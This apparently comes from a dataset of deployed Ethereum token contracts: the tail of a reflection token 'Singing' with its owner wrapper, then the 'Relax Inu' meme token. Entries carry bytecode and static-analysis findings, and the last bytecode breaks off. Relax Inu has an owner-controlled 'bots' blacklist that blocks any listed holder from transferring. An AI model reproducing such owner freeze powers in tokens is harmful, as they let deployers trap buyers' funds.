function setSenderTaxed(address account, bool taxed) external isOwner {
// by default, all senders are not taxed
isTaxedAsSender[account] = taxed;
}
function setRecipientTaxed(address account, bool taxed) external isOwner {
// by default, all recipients are not taxed
isTaxedAsRecipient[account] = taxed;
}
function excludeAccountFromRewards(address account) external isOwner {
require(!isExcluded[account], "IS_EXCLUDED");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
isExcluded[account] = true;
_excluded.push(account);
}
function includeAccountFromRewards(address account) external isOwner {
require(isExcluded[account], "IS_INCLUDED");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address account, address spender, uint256 amount) internal {
allowance[account][spender] = amount;
emit Approval(account, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(amount > 0, "INVALID_AMOUNT");
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(sender, recipient, amount);
_rOwned[sender] -= rAmount;
_rOwned[recipient] += rTransferAmount;
if (isExcluded[sender] && !isExcluded[recipient]) {
_tOwned[sender] -= amount;
} else if (!isExcluded[sender] && isExcluded[recipient]) {
_tOwned[recipient] += tTransferAmount;
} else if (isExcluded[sender] && isExcluded[recipient]) {
_tOwned[sender] -= amount;
_tOwned[recipient] += tTransferAmount;
}
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) internal {
_rTotal -= rFee;
_tFeeTotal += tFee;
}
function _getValues(address sender, address recipient, uint256 tAmount) internal view returns (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) {
(tTransferAmount, tFee) = _getTValues(sender, recipient, tAmount);
(rAmount, rTransferAmount, rFee) = _getRValues(tAmount, tFee, _getRate());
}
function _getTValues(address sender, address recipient, uint256 tAmount) internal view returns (uint256 tTransferAmount, uint256 tFee) {
tFee = (block.number != reflectDisabledBlock) && (isTaxedAsSender[sender] || isTaxedAsRecipient[recipient])
? (tAmount * _reflectBasisPoints) / 10_000
: 0;
tTransferAmount = tAmount - tFee;
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) internal pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) {
rAmount = tAmount * currentRate;
rFee = tFee * currentRate;
rTransferAmount = rAmount - rFee;
}
function _getRate() internal view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function _getCurrentSupply() internal view returns (uint256 rSupply, uint256 tSupply) {
rSupply = _rTotal;
tSupply = totalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, totalSupply);
rSupply -= _rOwned[_excluded[i]];
tSupply -= _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / totalSupply)) {
(rSupply, tSupply) = (_rTotal, totalSupply);
}
}
function changeOwner(address newOwner) external isOwner {
pendingOwner = newOwner;
}
function acceptOwnership() external {
require(msg.sender == pendingOwner, "NOT_PENDING_OWNER");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
pendingOwner = address(0);
}
function disableReflectionForCurrentBlock() external isOwner {
reflectDisabledBlock = block.number;
}
function resetReflectDisabledBlock() external isOwner {
reflectDisabledBlock = 0;
}
}
interface UniswapRouterV202 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
}
interface UniswapPairV2 {
function balanceOf(address owner) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
}
contract SingingOwner {
Singing immutable public token;
address public owner;
address public pendingOwner;
UniswapRouterV202 public router;
UniswapPairV2 public pair;
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor (address tokenAddress, address routerAddress, address pairAddress) {
owner = msg.sender;
token = Singing(tokenAddress);
router = UniswapRouterV202(routerAddress);
pair = UniswapPairV2(pairAddress);
}
modifier isOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
function changeOwner(address newOwner) external isOwner {
pendingOwner = newOwner;
}
function acceptOwner() external {
require(msg.sender == pendingOwner, "NOT_PENDING_OWNER");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
pendingOwner = address(0);
}
function changeOwnerOfToken(address newOwner) external isOwner {
token.changeOwner(newOwner);
}
function acceptOwnershipOfToken() external isOwner {
token.acceptOwnership();
}
function setSenderTaxed(address account, bool taxed) external isOwner {
token.setSenderTaxed(account, taxed);
}
function setRecipientTaxed(address account, bool taxed) external isOwner {
token.setRecipientTaxed(account, taxed);
}
function setAccountGetsRewards(address account, bool getsRewards) external isOwner {
getsRewards ? token.includeAccountFromRewards(account) : token.excludeAccountFromRewards(account);
}
function addLiquidityETH(
address tokenAddress,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity) {
require(tokenAddress == address(token), "NOT_TOKEN");
// Turn off tax for this block
token.disableReflectionForCurrentBlock();
// Transfer token from caller to this
token.transferFrom(msg.sender, address(this), amountTokenDesired);
// Approve Router on the amount of token
token.approve(address(router), amountTokenDesired);
// Perform the liquidity add
(amountToken, amountETH, liquidity) = router.addLiquidityETH{value: msg.value}(tokenAddress, amountTokenDesired, amountTokenMin, amountETHMin, to, deadline);
uint256 leftOver = token.balanceOf(address(this));
if (leftOver > 0) {
// Transfer leftover ETH or tokens to the caller
token.transfer(msg.sender, leftOver);
}
leftOver = address(this).balance;
if (leftOver > 0) {
payable(msg.sender).transfer(leftOver);
}
// Turn on tax for this block
token.resetReflectDisabledBlock();
}
function setRouterAndPair(address routerAddress, address pairAddress) external isOwner {
router = UniswapRouterV202(routerAddress);
pair = UniswapPairV2(pairAddress);
}
receive() external payable {}
}
|
0x6080604052600436106100e15760003560e01c8063de233fee1161007f578063f305d71911610059578063f305d7191461026a578063f887ea4014610298578063f97575c0146102c5578063fc0c546a146102e557600080fd5b8063de233fee14610208578063e30c397814610228578063ebbc49651461025557600080fd5b8063a6f9dae1116100bb578063a6f9dae11461017b578063a8aa1b311461019b578063cf970218146101c8578063d724bb4e146101e857600080fd5b8063255f40b6146100ed57806328df3f181461010f5780638da5cb5b1461012457600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b5061010d6101083660046111c0565b610319565b005b34801561011b57600080fd5b5061010d6103f2565b34801561013057600080fd5b506000546101519073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020015b60405180910390f35b34801561018757600080fd5b5061010d61019636600461119f565b6104f5565b3480156101a757600080fd5b506003546101519073ffffffffffffffffffffffffffffffffffffffff1681565b3480156101d457600080fd5b5061010d6101e33660046111f2565b6105bd565b3480156101f457600080fd5b5061010d6102033660046111f2565b61075d565b34801561021457600080fd5b5061010d6102233660046111f2565b61085a565b34801561023457600080fd5b506001546101519073ffffffffffffffffffffffffffffffffffffffff1681565b34801561026157600080fd5b5061010d610957565b61027d610278366004611228565b610a55565b60408051938452602084019290925290820152606001610172565b3480156102a457600080fd5b506002546101519073ffffffffffffffffffffffffffffffffffffffff1681565b3480156102d157600080fd5b5061010d6102e036600461119f565b611051565b3480156102f157600080fd5b506101517f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c581565b60005473ffffffffffffffffffffffffffffffffffffffff16331461039f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e4552000000000000000000000000000000000000000000000060448201526064015b60405180910390fd5b6002805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560038054929093169116179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b7f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c573ffffffffffffffffffffffffffffffffffffffff166379ba50976040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156104db57600080fd5b505af11580156104ef573d6000803e3d6000fd5b50505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331461063e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b806106e9576040517fb2f3d11c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301527f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c5169063b2f3d11c906024015b600060405180830381600087803b1580156106cd57600080fd5b505af11580156106e1573d6000803e3d6000fd5b505050505050565b6040517f8220e8ce00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301527f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c51690638220e8ce906024016106b3565b60005473ffffffffffffffffffffffffffffffffffffffff1633146107de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b6040517fd724bb4e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff838116600483015282151560248301527f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c5169063d724bb4e906044016106b3565b60005473ffffffffffffffffffffffffffffffffffffffff1633146108db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b6040517fde233fee00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff838116600483015282151560248301527f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c5169063de233fee906044016106b3565b60015473ffffffffffffffffffffffffffffffffffffffff1633146109d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f4e4f545f50454e44494e475f4f574e45520000000000000000000000000000006044820152606401610396565b60008054604051339273ffffffffffffffffffffffffffffffffffffffff909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081163317909155600180549091169055565b60008060007f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c573ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614610b0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f544f4b454e00000000000000000000000000000000000000000000006044820152606401610396565b7f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c573ffffffffffffffffffffffffffffffffffffffff166329b238426040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610b7757600080fd5b505af1158015610b8b573d6000803e3d6000fd5b50506040517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018b90527f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c573ffffffffffffffffffffffffffffffffffffffff1692506323b872dd9150606401602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b919061127f565b506002546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9182166004820152602481018a90527f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c59091169063095ea7b390604401602060405180830381600087803b158015610cf157600080fd5b505af1158015610d05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d29919061127f565b506002546040517ff305d71900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8b81166004830152602482018b9052604482018a905260648201899052878116608483015260a482018790529091169063f305d71990349060c4016060604051808303818588803b158015610dbc57600080fd5b505af1158015610dd0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df591906112b3565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015292955090935091506000907f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c573ffffffffffffffffffffffffffffffffffffffff16906370a082319060240160206040518083038186803b158015610e8557600080fd5b505afa158015610e99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebd919061129b565b90508015610f8d576040517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018290527f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c573ffffffffffffffffffffffffffffffffffffffff169063a9059cbb90604401602060405180830381600087803b158015610f5357600080fd5b505af1158015610f67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8b919061127f565b505b50478015610fc457604051339082156108fc029083906000818181858888f19350505050158015610fc2573d6000803e3d6000fd5b505b7f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c573ffffffffffffffffffffffffffffffffffffffff1663830bb90a6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561102c57600080fd5b505af1158015611040573d6000803e3d6000fd5b505050505096509650969350505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146110d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b6040517fa6f9dae100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82811660048301527f000000000000000000000000c368e98ff0e0483954904cbf52d5075c839ea3c5169063a6f9dae190602401600060405180830381600087803b15801561115b57600080fd5b505af115801561116f573d6000803e3d6000fd5b5050505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461119a57600080fd5b919050565b6000602082840312156111b0578081fd5b6111b982611176565b9392505050565b600080604083850312156111d2578081fd5b6111db83611176565b91506111e960208401611176565b90509250929050565b60008060408385031215611204578182fd5b61120d83611176565b9150602083013561121d816112e0565b809150509250929050565b60008060008060008060c08789031215611240578182fd5b61124987611176565b955060208701359450604087013593506060870135925061126c60808801611176565b915060a087013590509295509295509295565b600060208284031215611290578081fd5b81516111b9816112e0565b6000602082840312156112ac578081fd5b5051919050565b6000806000606084860312156112c7578283fd5b8351925060208401519150604084015190509250925092565b80151581146112ee57600080fd5b5056fea264697066735822122096e82402cff5a71f6bded6988eb293207408e216a6725c2e2e7d127b2c15e9b964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,784 |
0xf8657AAF70de4561b701d85fcd334e28B8fa944a
|
// SPDX-License-Identifier: MIT
/**
RELAX - Relax Inu
TG group https://t.me/relaxinu
Max Tx: 180,000 (2%)
Total Supply: 9,000,000
**/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RelaxInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Relax Inu";
string private constant _symbol = "RELAX";
uint8 private constant _decimals = 8;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 9000000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 public _maxTxAmount = 180000*10**_decimals;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeWallet] = true;
emit MaxTxAmountUpdated(_maxTxAmount);
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
_feeAddr1 = 4;
_feeAddr2 = 3;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 4;
_feeAddr2 = 3;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeWallet.transfer(amount);
}
function increaseMaxTxPercentage(uint256 percentage) external onlyOwner{
require(percentage>1);
_maxTxAmount = _tTotal.mul(percentage).div(100);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function addToSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiquidity() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_,bool isBot) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = isBot;
}
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
swapTokensForEth(balanceOf(address(this)));
}
function manualsend() external {
sendETHToFee(address(this).balance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb146102f9578063c3c8cd8014610319578063dd62ed3e1461032e578063dfa0e37f14610374578063e8078d941461039457600080fd5b80637d1db4a5146102585780638a8c523c1461026e5780638da5cb5b1461028357806395d89b41146102ab5780639c0db5f3146102d957600080fd5b8063313ce567116100e7578063313ce567146101db57806339c96774146101f75780636fc3eaec1461020e57806370a0823114610223578063715018a61461024357600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600981526852656c617820496e7560b81b60208201525b60405161015f91906115b3565b60405180910390f35b34801561017457600080fd5b5061018861018336600461162d565b6103a9565b604051901515815260200161015f565b3480156101a457600080fd5b506101ad6103c0565b60405190815260200161015f565b3480156101c757600080fd5b506101886101d6366004611659565b6103e0565b3480156101e757600080fd5b506040516008815260200161015f565b34801561020357600080fd5b5061020c610449565b005b34801561021a57600080fd5b5061020c61062a565b34801561022f57600080fd5b506101ad61023e36600461169a565b610635565b34801561024f57600080fd5b5061020c610657565b34801561026457600080fd5b506101ad600e5481565b34801561027a57600080fd5b5061020c6106cb565b34801561028f57600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102b757600080fd5b506040805180820190915260058152640a48a9882b60db1b6020820152610152565b3480156102e557600080fd5b5061020c6102f43660046116e6565b61070a565b34801561030557600080fd5b5061018861031436600461162d565b61085e565b34801561032557600080fd5b5061020c61086b565b34801561033a57600080fd5b506101ad6103493660046117bd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038057600080fd5b5061020c61038f3660046117f6565b61087c565b3480156103a057600080fd5b5061020c61091c565b60006103b6338484610a96565b5060015b92915050565b60006103ce6008600a611909565b6103db9062895440611918565b905090565b60006103ed848484610bba565b61043f843361043a85604051806060016040528060288152602001611ac6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e9c565b610a96565b5060019392505050565b6000546001600160a01b0316331461047c5760405162461bcd60e51b815260040161047390611937565b60405180910390fd5b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104c330826104b66008600a611909565b61043a9062895440611918565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610501573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610525919061196c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610572573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610596919061196c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610607919061196c565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b61063347610ed6565b565b6001600160a01b0381166000908152600260205260408120546103ba90610f14565b6000546001600160a01b031633146106815760405162461bcd60e51b815260040161047390611937565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106f55760405162461bcd60e51b815260040161047390611937565b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161047390611937565b60005b825181101561085957600c5483516001600160a01b039091169084908390811061076357610763611989565b60200260200101516001600160a01b0316141580156107b45750600d5483516001600160a01b03909116908490839081106107a0576107a0611989565b60200260200101516001600160a01b031614155b80156107eb5750306001600160a01b03168382815181106107d7576107d7611989565b60200260200101516001600160a01b031614155b1561084757816006600085848151811061080757610807611989565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108518161199f565b915050610737565b505050565b60006103b6338484610bba565b61063361087730610635565b610f98565b6000546001600160a01b031633146108a65760405162461bcd60e51b815260040161047390611937565b600181116108b357600080fd5b6108e160646108db836108c86008600a611909565b6108d59062895440611918565b90611112565b90611194565b600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146109465760405162461bcd60e51b815260040161047390611937565b600c546001600160a01b031663f305d719473061096281610635565b6000806109776000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109df573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0491906119b8565b5050600d8054600160b01b60ff60b01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9391906119e6565b50565b6001600160a01b038316610af85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047